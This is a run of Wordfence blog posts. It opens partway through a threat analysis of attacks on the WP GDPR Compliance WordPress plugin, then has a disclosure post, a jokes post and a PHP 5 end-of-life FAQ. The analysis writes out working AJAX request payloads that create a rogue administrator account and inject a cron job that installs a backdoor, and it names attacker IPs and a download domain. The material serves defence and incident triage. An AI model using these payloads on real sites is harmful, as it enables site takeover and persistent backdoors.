Interestingly, automated attempts to perform this activity are also reversing the settings modifications being made. The following screenshot contains relevant access log entries for one such attack.

In this log, we first see a GET request to the site’s homepage. This first request is necessary to produce the “ajaxSecurity” nonce required by the plugin to perform AJAX actions. Next, two POST requests are made to /wp-admin/admin-ajax.php. Data stored in POST bodies is not seen in access logs, however in the course of our research we have been able to acquire samples of this data. The first two AJAX requests contain the following data:

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”users_can_register”,”value”:”1″}&security=[redacted]

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”default_role”,”value”:”administrator”}&security=[redacted]

In the first action, we see the attacker enabling the users_can_register option, which adds functionality to a site’s wp-login.php page allowing users to create new accounts. Next, the default_role option is set to ‘administrator’, meaning any new user registered to the site is automatically given full administrative access.

The next items in the access log show the attacker making a POST request to /wp-login.php?action=register, and the subsequent redirect to the “Registration complete. Please check your email” dialog.

Lastly, two more AJAX requests are made, containing the following instructions:

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”users_can_register”,”value”:”0″}&security=[redacted]

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”default_role”,”value”:”subscriber”}&security=[redacted]

Here we can see the attacker actually reversing the configuration changes that allowed them to create an administrator account, first by disabling user registration then setting the default user role to “subscriber”. This serves to help prevent other attackers from creating their own administrator accounts, as well as reducing the likelihood that a site’s administrator will notice a problem. It closes the door behind the attacker.

Several hours after the new user is created, the attacker logs in to their new administrator account and can begin installing further backdoors. In our sample cases, we’ve seen attackers uploading a robust PHP webshell in a file named wp-cache.php. The image below is a screenshot of the shell user interface.

With a file manager, terminal emulator, and PHP eval features, a script like this on a site can allow an attacker to deploy further payloads at will.

Backdoor Installation via Injected Cron

The second type of exploit we’re seeing is less straightforward, and more difficult to identify at a glance. By injecting malicious actions into a site’s WP-Cron schedule, these attackers are able to install a persistent backdoor that can replace itself if removed. While a variety of malicious actions can be stored and executed via WP-Cron, the cases we have seen so far rely on the presence of another popular WordPress plugin, WooCommerce.

The following line contains a portion of an AJAX request body blocked by the Wordfence firewall for attempting to insert a malicious WP-Cron task:

“woocommerce_plugin_background_installer”:{“[redacted]”:{“schedule”:”hourly”,”args”:[“2mb-autocode”,{“repo-slug”:”2mb-autocode”}],”interval”:3600}}

This cron task attempts to use WooCommerce’s built-in woocommerce_plugin_background_installer action to install the 2MB Autocode plugin, which allows the injection of arbitrary PHP code into all posts on a site. The code to be injected is stored by 2MB Autocode as an option in the database, so the next step is to modify that setting using the same vulnerability:

{“type”:”save_setting”,”option”:”2mb_autocode_topstring”,”value”:”[malicious_php]”}

The [malicious_php] placeholder in the above example contains a PHP backdoor script which performs the following actions in sequence:

  1. Receive encoded input stored in the attacker’s request as an “HTTP_X_AUTH” header, which declares the locations used in the following steps.
  2. Make a request to http://pornmam[.]com/wp.php
  3. Decode the response and save the resulting PHP backdoor as wp-cache.php
  4. Include the core file /wp-admin/includes/file.php
  5. Deactivate and delete the 2MB Autocode plugin
  6. Clear the WP-Cron event associated with the attack
  7. Delete the 2mb_autocode_topstring option containing this code.

While the backdoor script seen in these cases shares the name wp-cache.php with other methods, the contents are much different. Instead of a self-contained web shell, this script contains some decoding functions and some execution syntax, but none of the executed payload is stored in the file. Instead, the payload to be decoded and executed is stored as a POST variable or in a cookie.

Without any captured requests to this script, we can’t know exactly what the intended behavior is. However, given the nature of the script and its eventual call to eval(), it’s to be expected that any arbitrary code can be executed by way of this backdoor.

No Mobilization Yet

In most infections, there will be one or more active methods in place to bring value of some form to the attacker. Whether an infected site is serving spam emails, hosting a phishing scam, or any other direct or indirect monetization, there’s often a clear goal identified as part of the triage process. However, despite the rapid occurrence of these identified cases, so far our research has only turned up backdoor scripts on sites impacted by this issue. No “end-stage” payloads intended to directly benefit an attacker have yet been associated with these attacks.

This behavior can mean a number of different things. It’s possible that these attackers are stockpiling infected hosts to be packaged and sold wholesale to another actor who has their own intentions. There’s also the chance that these attackers do have their own goals in mind, but haven’t launched that phase of the attack yet. In either case, sites impacted by these attacks should immediately work to identify and remove any backdoors present.

Indicators Of Compromise

The following section contains a series of IOCs (Indicators of Compromise) that can be used to assist in identifying and triaging cases similar to the ones in this report. Be advised that any common methods may be changed by the malicious actor at any time, especially as more attackers begin exploiting this vulnerability.

Most Prevalent Attacking IP Addresses

  • Admin Creation Method:
    • 109.234.39.250
    • 109.234.37.214
  • Cron Injection Method
    • 46.39.65.176
    • 195.123.213.91

Outbound Domains Accessed

  • pornmam.com

Malware Hashes

  • Admin Creation Method Backdoor
    • MD5: b6eba59622630b18235ba2d0ce4fcb65
    • SHA1: 577293e035cce3083f2fc68f684e014bf100faf3
  • Cron Injection Method Backdoor
    • MD5: c62180f0d626d92e29e83778605dd8be
    • SHA1: 83d9688605a948943b05df5c548bea6e1a7fe8da

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following examples:
    • t2trollherten
    • t3trollherten
  • An entry in your site’s options table with an option_name starting with 2mb_autocode (If not used intentionally)
  • The option default_role set to anything other than “subscriber” unless directly intentional.
  • The option users_can_register enabled unintentionally.

Installed Plugins

  • 2MB Autocode (If not used intentionally)

Conclusion

It is our hope that the details revealed by this research can be used to assist others in the security sphere to track and prevent these exploits. However, the attacks first seen following an impactful security disclosure can be considerably different than those seen in the weeks and months after. Given the scope of the vulnerability in question, it’s likely that more unique and sophisticated attack methods will be seen in the wild before long.

As always, we stress the importance of performing regular plugin updates to prevent these attacks from succeeding in the first place. The Wordfence plugin notifies administrators of outdated plugins automatically in order to help facilitate a quick response to potential vulnerabilities. In addition, the Wordfence Threat Intelligence team has released firewall rules and malware signatures to our premium customers in real-time to protect against this exploit and detect the indicators of compromise associated with the attack.

Written by Mikey Veenstra with contributions from Stephen Rees-Carter and Marco Wotschka. Edited by Mark Maunder. 

The post Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin appeared first on Wordfence.

Read More

Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild

After its removal from the WordPress plugin repository yesterday, the popular plugin WP GDPR Compliance released version 1.4.3, an update which patched multiple critical vulnerabilities. At the time of this writing, the plugin has been reinstated in the WordPress repository and has over 100,000 active installs. The reported vulnerabilities allow unauthenticated attackers to achieve privilege escalation, allowing them to further infect vulnerable sites. Any sites making use of this plugin should make it an immediate priority to update to the latest version, or deactivate and remove it if updates are not possible.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/

The Vulnerability

In typical use, the plugin handles a few types of actions which can be submitted via WordPress’s admin-ajax.php functionality. These actions include making the sort of data access requests and deletion requests required by GDPR, but also includes functionality for changing the plugin’s settings from within the WordPress admin dashboard.

However, unpatched versions of WP GDPR Compliance (up to and including version 1.4.2) fail to do capability checks when executing its internal action save_setting to make such configuration changes. If a malicious user submits arbitrary options and values to this endpoint, the input fields will be stored in the options table of the affected site’s database.

In addition to the storage of arbitrary options values, the plugin performs a do_action() call using the provided option name and value, which can be used by attackers to trigger arbitrary WordPress actions.

Disclosures of this flaw have been reporting it as two distinct vulnerabilities: first the arbitrary options update and second the arbitrary action calls, but with both potential exploits living in the same block of code and executed with the same payload, we’re treating this as a single privilege escalation vulnerability.

Exploits In The Wild

We’ve already begun seeing cases of live sites infected through this attack vector. In these cases, the ability to update arbitrary options values is being used to install new administrator accounts onto the impacted sites.

By leveraging this flaw to set the users_can_register option to 1, and changing the default_role of new users to “administrator”, attackers can simply fill out the form at /wp-login.php?action=register and immediately access a privileged account. From this point, they can change these options back to normal and install a malicious plugin or theme containing a web shell or other malware to further infect the victim site.

In several of the cases we’ve triaged since the disclosure of this vulnerability, we’ve seen malicious administrator accounts present with the variations of the username t2trollherten. This intrusion vector has also been associated with uploaded webshells named wp-cache.php. While these are common IOCs (Indicators of Compromise), these exploits are of course subject to change as attacks grow in sophistication.

Conclusion

Until the patch was released yesterday, more then a hundred thousand WordPress sites using the WP GDPR Compliance plugin were vulnerable to this type of attack. It is of critical importance that any site using this plugin performs the update as soon as possible.

At this time, the Wordfence Threat Intelligence team has released a new firewall rule preventing exploitation of this flaw for all premium users. Users of the free version of Wordfence will receive the new rule following a thirty-day delay, but as always they can protect themselves by updating their site’s plugins.

If you believe your site has been impacted by this vulnerability, please do not hesitate to reach out to our site cleaning team to begin the remediation process. Also, please consider sharing this post with your peers to improve awareness of this issue.

The post Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild appeared first on Wordfence.

Read More

Defiant’s Top 5 Spooky Security Jokes

Happy Halloween!
Among a plethora of reasons to enjoy working here, we at Defiant are particularly vocal about our love for the remote office. A team spread across timezones and continents might sound like a challenge in group cohesion, but even though we’re divided geographically, we’ve forged a great culture that a breakroom ping-pong table just can’t hold a candle to.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/10/defiants-top-5-spooky-security-jokes/

Since we didn’t exactly have cubicles to decorate for the occasion, today we invited the team to participate in a Halloween party via video conference. As part of the festivities, we held a team contest for the best security-themed or Halloween-themed jokes, and it was filled with just as many eye-rolling puns and dad jokes as you’d expect. Still, we all shared a laugh and decided to share some of the favorites. Enjoy!

5.

What’s a ghost’s favorite data type?

BOO-lean!

4.

How do you fix a vulnerability in your jack-o-lantern?

With a pumpkin patch.

3.

Why are witches so good at deobfuscating malware?

They know hex.

2.

I tried to set my password to ‘beefstew1‘ but the computer says it wasn’t stroganoff.

1.

“Knock-knock!”

“Race condition.”

“Who’s there?”

 

If you’re wondering who’d actually get a giggle out of this sort of thing, check out our video, Meet The Defiant Team. Happy Halloween from us at Defiant!

The post Defiant’s Top 5 Spooky Security Jokes appeared first on Wordfence.

Read More

Using PHP 5 Becomes Dangerous in 2 Months

WordPress, Joomla, Drupal and many other popular website CMSs were written in a programming language called PHP. PHP version 5 is about to reach end-of-life and will stop receiving security updates in two months. Many WordPress and other PHP websites remain on version 5.6 or older. Once support for PHP 5 ends in two months, these sites are in a precarious position and will become exploitable as new PHP 5 vulnerabilities emerge without security updates.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/10/php5-dangerous/

This post is in a FAQ format and describes why PHP 5 is reaching end-of-life, what the timeline is and what to do about it. The Wordfence team is working to create awareness of this issue in the WordPress and broader PHP community. You can help by sharing this post with your colleagues that manage PHP websites or use WordPress.

What is End-Of-Life or ‘EOL’ in Software?

When a software product reaches EOL, it is no longer supported by software developers. That means that, even if someone finds a security hole in the software, the developers will not fix it.

If a development team is productive, they will release many versions of the software they work on over time. It becomes impractical to support every version of the code ever released. So a compromise needs to be made.

This compromise is that the development team will only support their software for a certain amount of time. After that time has elapsed, the development team suggests that the user community upgrade to a newer version of the same software, which usually does things better than the old versions and is fully supported.

Is PHP Version 5  going to be EOL soon?

Yes. PHP version 5 will be declared End-Of-Life on January 1st, 2019. That is, in approximately two months at the time of writing.

The PHP development team’s policy with regards to end-of-life is as follows: each release of PHP is fully supported for two years from the date of release. Then it is supported for an additional year for critical security issues only. Once three years has elapsed from the date of release, the version of PHP is no longer supported.

PHP 7.0, the very first PHP 7 release, was released on 3 December, 2015, almost three years ago. PHP version 5 is rapidly approaching end-of-life and will no longer be supported starting on 1 January, 2019.

The final branch of PHP version 5 that is still supported is PHP 5.6. Because this is the final PHP 5 branch, the PHP team chose to extend the security fix period from the usual one years, to two years. That extended security support will end on 1 January 2019.

The following table includes the important dates for PHP 5 and PHP 7 branches. You can find this table on this page on the PHP website.

Why Should I Upgrade to PHP 7?

As mentioned above, PHP 5 will no longer be supported with security fixes, starting on 1 January 2019. That means that even if a vulnerability is discovered, it won’t be fixed, leaving your website vulnerable.

PHP 7 has many improvements over PHP version 5. These include performance improvements. PHP 5 has many known bugs that relate to performance, memory usage and more. PHP 7 is actively supported and developers are therefore able to implement those improvements and make your website run faster, be more stable and use your expensive resources more efficiently.

As an added benefit, PHP 7 also allows the use of more modern programming structures, which is a nice benefit for software developers.

How can I find out my PHP version?

If you are using WordPress and running the Wordfence security plugin, simply go to “Tools”, then click on the “Diagnostics” tab at the top right. Scroll down to the “PHP Environment” section and you will be able to see your PHP version on the right side of the page.

Alternatively you can install this extremely basic plugin on your WordPress site which will display your PHP version. Please note that this plugin is not produced by the Wordfence team and we do not endorse it.

If you have FTP access to your website, you can create a file with a name that is hard to guess. Then add the following two lines:

<?php

phpinfo();

Save the file in your web root directory and then visit the file in your web browser. Your PHP version will be displayed at the top of the screen. Don’t forget to delete your temporary file once you’re done.

Which specific version of PHP 7 should I upgrade to?

Ideally, you should upgrade to PHP 7.2 which is the newest version of PHP. This version will be fully supported for another year and will receive security updates for a year after that.

If you are unable to upgrade to 7.2, then at a minimum you should upgrade to PHP 7.1. Full support for PHP 7.1 will end in 1 month. However, you will continue to receive security updates for another year after that.

Do not upgrade to PHP 7.0. This version will also become end-of-life in one month.

Does PHP 5 have any vulnerabilities?

Security vulnerabilities are continuously reported in PHP. Some of these are serious. Viewing this page on CVEDetails.com will give you an idea of the volume and severity of PHP vulnerabilities that have recently been reported.

Many of the vulnerabilities reported in PHP were discovered this year. Many more will be discovered in PHP version 5 next year, after security support for all versions of PHP 5 have ended. That is why it is critically important that you upgrade to a version of PHP 7 that is supported and is receiving security updates.

Will anything break if I update to PHP 7.2?

You may discover incompatibilities that need to be fixed by a developer if you update to PHP 7.2. PHP has undergone some changes since version 5 which has improved the language and made it more secure, but may result in warnings or errors for code that has not been made compatible with PHP 7.

If you are a WordPress user, WordPress core is fully compatible with PHP 7.2 and greater.

However, it is very important that you make sure that your themes and plugins are also compatible with PHP 7.2. If you are using an unmaintained theme or plugin, you may encounter warnings or errors due to incompatibilities. For this reason, we recommend you test your website on a hosting account or server that is running PHP 7.2. If you encounter any problems, contact the developer of the theme or plugin and ask them for an urgent fix. Remind them that PHP 5.6 reaches end-of-life in just two months and that you must update to PHP 7.2 by then.

This page has a migration guide for PHP developers who are migrating code from PHP 5.6 to PHP 7.

This page has a list of deprecated functions under PHP 7.2 and will be helpful to a developer that is migrating code from PHP 5 to PHP 7.

What if my hosting company does not support PHP 7?

Your hosting account should include some kind of control panel or options and settings page. If you’re not seeing an option to upgrade to PHP 7, you should contact your hosting company’s support team to see what your options are. If none are available, we recommend you transition to new hosting before the end of the year.

What if my developer does not support PHP 7?

PHP 7.0 was released two years and 10 months ago. If your developer’s plugin, theme, or other PHP product does not support PHP 7 at this point, it is quite likely that the project is unmaintained. If the project was being maintained, then they would have had users who are using PHP 7 report problems within the last 2 years and 10 months, which they would have fixed.

Using unmaintained software is a bad idea because it means that security vulnerabilities are not being fixed. So if you do encounter incompatibilities when upgrading to PHP 7.2, this may be a red flag and may indicate you should move on to using an alternative product that is being actively maintained.

What is the easiest way to upgrade to PHP 7.2?

Many hosting providers offer a one click PHP version change in CPanel. This allows you to switch to PHP 7 and check your site for problems. If something doesn’t work, you can switch back and create a plan for addressing the issues you found.

If you can’t find where to update your PHP version, your hosting provider can advise you how to update PHP in their environment. It may mean them making a change on their end or even moving your site to another server.

Remind me again why I need to update to PHP 7.2?

The really good news is that you are probably going to see a nice performance improvement when you update your site. Sure, you may need to deal with a few, hopefully minor incompatibilities. But once you have updated to PHP 7.2, you can rest assured that you will continue to receive security updates until November 30, 2020.

If you remain on PHP 5.6, you may find yourself dealing with a hacked site some time next year when a vulnerability is released for PHP 5.6 and no fix is released by the PHP team because PHP 5.6 is end-of-life.

How can I help?

This deadline is coming up fast. All versions of PHP 5 will stop receiving security updates in 2 months. There are a huge number of websites that are still on PHP 5. As soon as security updates end, attackers will be highly motivated to find vulnerabilities that they can exploit, because those vulnerabilities will not be fixed and will be exploitable for a long time.

To help transition the global web community to PHP 7, please spread the word by sharing this post and helping create awareness about this tight deadline and how to transition to PHP 7.

The post Using PHP 5 Becomes Dangerous in 2 Months appeared first on Wordfence.

Read More
Page 1 of 1,01212345»102030...Last »